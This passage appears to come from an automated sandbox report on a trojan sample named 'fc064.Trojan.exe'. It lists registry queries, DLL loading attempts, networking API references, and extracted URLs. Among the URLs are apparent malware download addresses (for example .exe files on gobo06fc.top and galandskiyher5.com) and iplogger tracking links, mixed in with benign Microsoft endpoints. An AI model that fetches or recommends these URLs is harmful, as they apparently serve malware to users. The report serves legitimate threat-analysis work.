"HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "SERVER"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "DLLPATH"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "THREADING"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "TRUSTLEVEL"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "REMOTESERVER"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEASUSER"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEINSHAREDBROKER"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEINBROKERFORMEDIUMILCONTAINER"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "PERMISSIONS"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEONHOSTFLAGS"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXEPATH"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "COMMANDLINE"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITYTYPE"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "PERMISSIONS"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "ACTIVATABLECLASSES"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVERTYPE"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "APPID"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITY"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVICENAME"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXPLICITPSMACTIVATIONTYPE"; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}\PROXYSTUBCLSID32"; Key: ""; Value: "") "fc064.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}"; Key: "ACTIVATEONHOSTFLAGS"; Value: "")5c:Taa8,"fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\profapi.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\CRYPTSP.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\CRYPTBASE.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\DWrite.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll.DLL" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\SysWOW64\MsMpLics.dll" "fc064.Trojan.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll"5d:T84b,"fc064.Trojan.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\fc064.Trojan.exe.config" "fc064.Trojan.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "fc064.Trojan.exe" trying to access non-existent file "C:\fc064.Trojan.exe.config" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\⑉⦈⇋◷⤿◓Ⅸ◚⦋➂⇱34649e93#" "fc064.Trojan.exe" trying to access non-existent file "C:\fc064.Trojan.INI" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms" "fc064.Trojan.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.INI" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing" "fc064.Trojan.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI" "fc064.Trojan.exe" trying to access non-existent file "C:\fc064.Trojan.exe.Local\" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\Accessibility" "fc064.Trojan.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.INI" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#" "fc064.Trojan.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.INI" "fc064.Trojan.exe" trying to access non-existent file "\Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\netstandard"5e:Te48,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00001464-00000C26-227708285") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00004560.00000000.81027.D5FB1000.00000002.mdmp")5f:Te98,Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpSetStatusCallback" (Indicator: "WinHttpSetStatusCallback"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp") Found reference to API "WinHttpSetOption" (Indicator: "WinHttpSetOption"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpAddRequestHeaders" (Indicator: "WinHttpAddRequestHeaders"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpSetCredentials" (Indicator: "WinHttpSetCredentials"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp")60:T20fa,Heuristic match: "O..mo" Heuristic match: "-7F.ai" Heuristic match: "Q_.ax" Heuristic match: "Au.CA" Heuristic match: "%`.MP" Heuristic match: "swI.kp" Heuristic match: "vl.Dk" Heuristic match: "e@.TM" Pattern match: "https://cdn.iplogger.org/favicon.ico" Pattern match: "https://oneclient.sfx.ms/Win/Installers/23.209.1008.0002/OneDriveSetup.exe" Pattern match: "https://cdn.iplogger.org/redirect/brand.png" Pattern match: "https://yip.su/RNWPd" Pattern match: "https://cdn.iplogger.org/redirect/logo-dark.png" Pattern match: "https://iplogger.org/" Pattern match: "https://iplogger.org/privacy/" Pattern match: "https://yip.su/redirect-" Pattern match: "https://oneclient.sfx.ms/Win/Installers/23.209.1008.0002/amd64/OneDriveSetup.exe" Pattern match: "https://oneclient.sfx.ms/Win/Installers/23.209.1008.0002/arm64/OneDriveSetup.exe" Heuristic match: "pic.himanfast.com" Heuristic match: "galandskiyher5.com" Heuristic match: "6.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.0.3.0.1.3.0.6.2.ip6.arpa" Heuristic match: "d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa" Heuristic match: "d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa" Heuristic match: "flyawayaero.net" Heuristic match: "gobo06fc.top" Heuristic match: "iplogger.com" Heuristic match: "lycheepanel.info" Heuristic match: "net.geo.opera.com" Heuristic match: "pastebin.com" Heuristic match: "yip.su" Pattern match: "pic.himanfast.com/order/tuc15.exehttps://flyawayaero.net/baf14778c246e15550645e30ba78ce1c.exehttp://gobo06fc.top/build.exehttp://galandskiyher5.com/downloads/toolspub1.exehttp://dl54-broomcleaner.icu/InstallSetup2.exehttps://lycheepanel.i" Pattern match: "http://schemas.microsoft.com/SMI/2016/WindowsSettings" Pattern match: "Microsoft.NET/Framework/v4.0.30319/" Pattern match: "www.verisign.com/CPS" Pattern match: "https://www.verisign.com/CPS04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/Docs/Repository.htm" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1" Pattern match: "www.digicert.com1!0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "crl.comodoca.com/AAACertificateServices.crl06" Pattern match: "crl.comodo.net/AAACertificateServices.crl0" Heuristic match: "XE;.BA" Pattern match: "g.live.com/odclientsettings/MsitFastV2" Pattern match: "g.live.com/odclientsettings/InsidersV2" Pattern match: "g.live.com/odclientsettings/MsitSlowV2" Pattern match: "g.live.com/odclientsettings/ProdV2" Pattern match: "clients.config.office.net/user/v1.0/tenantassociationkey" Pattern match: "storage.live.com/clientlogs/uploadlocation" Pattern match: "g.live.com/odclientsettings/EnterpriseV2" Pattern match: "client.svc/ProcessQuery" Pattern match: "https://login.microsoft.com" Pattern match: "https://self.events.data.microsoft.com/OneCollector/1.0/" Heuristic match: "sts.windows.net" Heuristic match: "login.partner.microsoftonline.cn" Heuristic match: "nline.cn" Heuristic match: "crosoftonline.cn" Heuristic match: "login.windows.net" Heuristic match: "ine.com" Heuristic match: "ine.de" Heuristic match: "login.microsoftonline.com" Heuristic match: "online.com" Heuristic match: "e.com" Heuristic match: "login.microsoftonline.de" Heuristic match: "login.chinacloudapi.cn" Heuristic match: "AppInfo.Id" Heuristic match: "DeviceInfo.Id" Heuristic match: "UserInfo.Id" Heuristic match: "pipe.skype.com" Heuristic match: "*.pipe.skype.com" Heuristic match: "*.events.data.msn.com" Heuristic match: "events.data.msn.com" Heuristic match: "*.events.data.msn.cn" Heuristic match: "events.data.msn.cn" Pattern match: "https://login.microsoft.com}soft.SharePoint.exe" Pattern match: "lients.config.office.net/user/v1.0/windows/ack" Pattern match: "graph.microsoft.com/v1.0/me/drive" Pattern match: "go.microsoft.com/fwlink/?LinkId=2138021" Pattern match: "pc.msedge.net/conf/v2/odsync/fpconfig.min.json" Heuristic match: "sts.auth.xboxlive.com" Heuristic match: "ttps://login.windows.net" Heuristic match: "ttps://login.live.com" Heuristic match: "ogin.windows.net" Heuristic match: "ogin.live.com" Heuristic match: "icrosoft.com" Heuristic match: "boxlive.com" Heuristic match: "sl.live.com" Heuristic match: "ive-int.com" Heuristic match: "ive.com" Pattern match: "https://graph.microsoft.com" Heuristic match: "eudb.microsoftonline.com" Heuristic match: "indows.net" Heuristic match: "essengersecure.live-int.com" Heuristic match: "ttps://device.ra.live-int.com" Heuristic match: "ttps://storage.live-int.com" Heuristic match: "ttps://onedrive.live-int.com" Heuristic match: "ttps://onedrive.live.com" Heuristic match: "ttps://device.ra.live.com" Heuristic match: "essengersecure.live.com" Heuristic match: "ttps://storage.live.com" Heuristic match: "ttps://clients.config.office.net" Pattern match: "officeclient.microsoft.com/config16Processed?&lcid=1033&syslcid=1033&uilcid=1033&crev=3a&services=HomeRealmDiscovery,GetFederationProvider,GetIdentityProvider,ODCUserConnectedServices,OneDriveWebServiceUrl,MsGraphBase" Heuristic match: "ttps://wns.windows.com" Heuristic match: "sl.live-int.com" Pattern match: "eu-mobile.events.data.microsoft.com/OneCollector/1.0/" Heuristic match: "relay.sync.edge.messenger.live.com" Heuristic match: "relay.sync.edge.messenger.live-int.com" Pattern match: "https://login.microsoftonline.com/common" Pattern match: "https://login.live.com/oauth20_desktop.srf" Heuristic match: "nedscolprdeus01.eastus.cloudapp.azure.com" Pattern match: "self.events.data.microsoft.com/OneCollector/1.0/" Heuristic match: "onedscolprdeus01.eastus.cloudapp.azure.com" Heuristic match: "self-events-data.trafficmanager.net" Pattern match: "clients.config.office.net/collector/v1.0/inventoryodb" Pattern match: "lients.config.office.net/user/v1.0/windows/policies" Pattern match: "oaming.officeapps.live.com/rs/RoamingSoapService.svc" Pattern match: "pc.msedge.net/conf/v2/odsync2/fpconfig.min.json" Pattern match: "https://login.microsoft.com},authority:{Type:InlineString,IsProtected:false,Value:organizations},scope:{Type:InlineString,IsProtected:false,Value:enumerate.accounts.local},clientId:{Type:InlineString,IsProtected:false,Valu" Pattern match: "http://www.microsoft.com0" Heuristic match: "ows.net" Heuristic match: "login.microsoftonline.us" Heuristic match: "login-us.microsoftonline.com" Heuristic match: "login.usgovcloudapi.net" Heuristic match: "ine.us" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt07" Heuristic match: "ice.ne" Heuristic match: "api.cn" Pattern match: "https://login.windows.net/common/oauth2/nativeclient" Heuristic match: "line.com" Heuristic match: "tonline.com" Heuristic match: "ts.windows.net" Pattern match: "fpc.msedge.net/conf/v2/odsync/fpconfig.min.json" Pattern match: "https://%s%s" Pattern match: "https://enterpriseregistration.%s/EnrollmentServer/Contract?api-version=1.0" Pattern match: "https://enterpriseregistration.windows.net/%s/EnrollmentServer/Contract?api-version=1.0" Pattern match: "http://schemas.microsoft.com/rel-trusted-realm" Pattern match: "https://%s/%s" Pattern match: "https://login.windows.net" Pattern match: "http://docs.oasis-open.org/ws-sx/ws-trust/200512" Pattern match: "http://docs.oasis-open.org/ws-sx/ws-trust/200512/Bearer" Pattern match: "http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue" Pattern match: "http://schemas.xmlsoap.org/ws/2005/02/trust" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey" Pattern match: "http://schemas.xmlsoap.org/ws/2005/02/trust/Issue" Pattern match: "http://www.w3.org/2003/05/soap-envelope" Pattern match: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" Pattern match: "http://schemas.xmlsoap.org/wsdl/" Pattern match: "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue" Pattern match: "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue" Pattern match: "http://schemas.xmlsoap.org/soap/http" Pattern match: "https://www.openssl.org/"61:T5f31,Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000848.00000000.67361.06DF0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00000848.00000000.67361.06DF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000848.00000000.67361.06DF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00000848.00000000.67361.06DF0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnmnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004560.00000000.81027.5CBA0000.00000004.mdmp") Found URL "https://self.events.data.microsoft.com/onecollector/1.0/rej_oldrej_invsts.windows.netrej_amsin.microsoftonline.us" - Source: "00000000-00004560.00000000.81027.5CBA0000.00000004.mdmp") Found URL "https://login.windows.net/common/oauth2/nativeclientync2/ffig.m/rs/rcngso9" - Source: "00000000-00004560.00000000.81027.5CBA0000.00000004.mdmp") Found URL "https://login.windows.net/common/oauth2/nativeclientazure" - Source: "00000000-00004560.00000000.81027.5CBA0000.00000004.mdmp") Found URL "https://login.microsoft.comwap_isenumerablestatesupportedwap_isaddnewaccountrequestednucleuseventparta_ikey" - Source: "00000000-00004560.00000000.81027.5CBA0000.00000004.mdmp") Found URL "https://login.microsoft.comwap_isenumerablestatesupportedwap_isaddnewaccountrequestedwap_issystemproviderwap_usercontexttokenwap_displaynamework" - Source: "00000000-00004560.00000000.81027.5CD0D000.00000004.mdmp") Found URL "https://%s%sdiscovery::getazuredrsdiscovery:" - Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp") Found URL "https://enterpriseregistration.%s/enrollmentserver/contract?api-version=1.0discovery::getazuredrsdiscovery" - Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp") Found URL "https://enterpriseregistration.windows.net/%s/enrollmentserver/contract?api-version=1.0discovery::getazuredrsdiscovery" - Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp") Found URL "https://www.openssl.org/filedescriptionopenssl" - Source: "00000000-00004560.00000000.81027.D5D4D000.00000002.mdmp") Found URL "https://www.openssl.org/filedescriptionopenssl" - Source: "00000000-00004560.00000000.81027.D6088000.00000002.mdmp") Found URL "https://officediscoveryfinalresult_apiofficediscoverygetblockeddevicesofficediscoverygetcookieallowtenantlistsoftware\policies\microsoft\onedriveallowlistenabledallowlistenabledandblockedblocktenantlistblocklistenabledblocklistenabledandblockedcfb2e9fb-24eb-4979-976e-3522675c2d890bdc14cb-d455-4275-9d7f-b71dac25834823ba81fb-f2b6-4c1c-a248-ba6f82f2bb6c42d4c04b-adca-4b1a-888c-1fbeee8ac50bcf7435ff-d007-4675-8bd7-9e5d2eebb4d2httpsecurefailureunexpectedfailureauthorization:" - Source: "00000000-00004560.00000000.81027.D645E000.00000002.mdmp") Found URL "http:///default.htmignorewebproxycontent-lengthcookie:www-authenticatewlc-extended-statusauthdocumentnotfoundcontent-encodinggzipcomputersoftware\microsoft\windows" - Source: "00000000-00004560.00000000.81027.D645E000.00000002.mdmp") Found URL 